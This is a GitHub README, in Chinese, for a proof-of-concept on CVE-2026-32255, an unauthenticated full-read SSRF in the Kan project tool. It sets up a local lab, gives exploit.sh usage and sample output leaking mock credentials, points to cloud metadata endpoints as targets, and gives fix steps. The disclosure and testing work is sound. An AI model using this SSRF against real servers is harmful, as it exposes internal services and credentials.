kOaDT/poc-cve-2026-32255

GitHub: kOaDT/poc-cve-2026-32255

针对 Kan 项目管理工具 CVE-2026-32255 全读 SSRF 漏洞的概念验证和利用脚本。

Stars: 2 | Forks: 0

# Kan 附件下载 SSRF (CVE-2026-32255) - 概念验证 本仓库包含 **CVE-2026-32255** 的 **概念验证 (POC)**,这是一个存在于开源项目管理工具 **[Kan](https://github.com/kanbn/kan)** 中的高危服务端请求伪造 (SSRF) 漏洞。 该易受攻击的端点允许未经身份验证的攻击者从服务器发起任意 HTTP 请求并读取完整响应,从而能够访问内部服务和云元数据端点。 ## 目录 1. [漏洞详情](#vulnerability-details) 2. [运行 POC](#running-the-poc) 3. [使用漏洞利用脚本](#using-the-exploit-script) 4. [如何修复漏洞](#how-to-fix-the-vulnerability) 5. [免责声明](#disclaimer) ## 漏洞详情 ### CVE 信息 - **CVE ID**: CVE-2026-32255 - **受影响版本**: Kan <= 0.5.4 - **修复版本**: 0.5.5 - **CVSS 评分**: 8.6 (高) - **CVSS 向量**: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` - **CWE**: CWE-918 (服务端请求伪造) ### 描述 文件 `apps/web/src/pages/api/download/attatchment.ts` 暴露了一个 `GET /api/download/attatchment` 端点,旨在代理从 S3 存储下载的附件。该端点接受用户控制的 `url` 查询参数,并在没有任何验证或身份验证的情况下直接将其传递给服务器端的 `fetch()`: ``` const upstream = await fetch(url); // no validation on `url` ``` 攻击者可以提供任何 URL,导致服务器向该目标发出 HTTP 请求并将完整的响应主体返回给客户端。这是一个全读 SSRF(非盲注),意味着攻击者可以读取完整的响应内容。 ### 影响 - 访问未暴露到互联网的内部服务 - 读取云元数据端点(例如 AWS/GCP 上的 `http://169.254.169.254/`) - 内网端口扫描 - 从内部 API 窃取敏感数据 ### 参考文献 - [NVD - CVE-2026-32255](https://nvd.nist.gov/vuln/detail/CVE-2026-32255) - [GitHub Security Advisory - GHSA-qrx8-9hc6-jvqg](https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg) - [修复提交](https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7) ## 运行 POC ### 前置条件 - Docker 和 Docker Compose - Bash - curl ### 步骤 1:运行易受攻击的 Kan 实例 克隆并运行 Kan v0.5.4(最后一个易受攻击的版本): ``` git clone --branch v0.5.4 https://github.com/kanbn/kan.git cd kan ``` 配置所需的环境变量: ``` cat > .env <<'EOF' NEXT_PUBLIC_BASE_URL=http://localhost:3000 BETTER_AUTH_SECRET=poc-secret-not-for-production-use POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db POSTGRES_PASSWORD=kan REDIS_URL=redis://localhost:6379 NEXT_PUBLIC_STORAGE_URL=http://localhost:9000 EOF ``` 启动容器: ``` docker compose up -d ``` 应用程序应该在 `http://localhost:3000` 上可用。 ### 步骤 2:启动模拟内部服务 在单独的终端中,启动包含的模拟内部服务,该服务模拟一个敏感的内部 API: ``` python3 internal-service.py ``` 这在端口 `8888` 上启动一个返回伪造凭证的服务器,模拟一个只能从内部网络访问的服务。在现实场景中,该服务会被隔离在防火墙后面,无法从外部访问。SSRF 允许攻击者通过服务器访问它。 ### 步骤 3:运行漏洞利用 ``` chmod +x exploit.sh ./exploit.sh http://localhost:3000 ``` ## 使用漏洞利用脚本 ### 用法 ``` ./exploit.sh [internal-url] ``` - ``: Kan 实例的基础 URL(例如 `http://localhost:3000`) - `[internal-url]`: 通过 SSRF 获取的内部 URL(可选,从 Docker 网桥网关自动检测) ### 示例 ``` ./exploit.sh http://localhost:3000 ``` ``` === CVE-2026-32255 - Kan SSRF via Attachment Download === Target: http://localhost:3000 Internal URL: http://172.17.0.1:8888 [*] Checking if endpoint is reachable... [+] Endpoint is reachable (HTTP 400) [*] Attempting SSRF to http://172.17.0.1:8888 ... [+] VULNERABLE - Server fetched internal resource Leaked content: ------------------------------------------------------------ { "service": "internal-config-api", "credentials": { "db_host": "10.0.0.5", "db_user": "admin", "db_password": "s3cret_passw0rd!", "api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c" } } ------------------------------------------------------------ ``` ## 如何修复漏洞 ### 更新 Kan(推荐) 更新到 **Kan v0.5.5** 或更高版本,该版本在代理请求之前会根据配置的 S3 端点主机名验证 `url` 参数。 ### 变通方法:在反向代理处阻止 如果您无法立即更新,请在反向代理级别阻止对易受攻击端点的外部访问。 ## 免责声明 本概念验证仅用于**教育目的和经授权的安全测试**。请仅在被您拥有或获得明确书面测试许可的系统上使用此工具。 作者不对本仓库中提供的信息或工具的任何滥用行为负责。未经授权访问计算机系统是非法的。 **发现者:** [kOaDT](https://github.com/kOaDT) (koadt@proton.me)
标签:0day, CISA项目, CVE-2026-32255, CWE-918, Exploit, Kan, Maven, NVD, POC, SSRF, 云元数据泄露, 内部网络探测, 安全漏洞, 应用安全, 文件下载, 服务端请求伪造, 未授权访问, 漏洞验证, 网络安全, 请求拦截, 逆向工具, 隐私保护, 项目管理系统, 高危漏洞